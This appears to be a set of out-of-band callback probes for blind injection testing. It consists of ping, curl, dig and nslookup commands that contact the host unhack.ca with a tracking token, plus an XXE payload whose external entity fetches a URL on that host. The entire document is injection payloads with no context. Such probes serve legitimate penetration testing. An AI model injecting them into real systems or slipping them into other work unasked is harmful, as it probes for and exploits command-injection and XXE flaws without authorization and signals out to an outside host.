$ ping -c1 -p 00d873c0c1ed3d625a0cc2789adda700 unhack.ca
$ curl http://unhack.ca/p/d873c0c1ed3d625a0cc2789adda7
$ dig d873c0c1ed3d625a0cc2789adda7 @unhack.ca
$ dig d873c0c1ed3d625a0cc2789adda7.ns.unhack.ca
C:\> nslookup d873c0c1ed3d625a0cc2789adda7 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/d873c0c1ed3d625a0cc2789adda7">]> <foo>&xxe;</foo>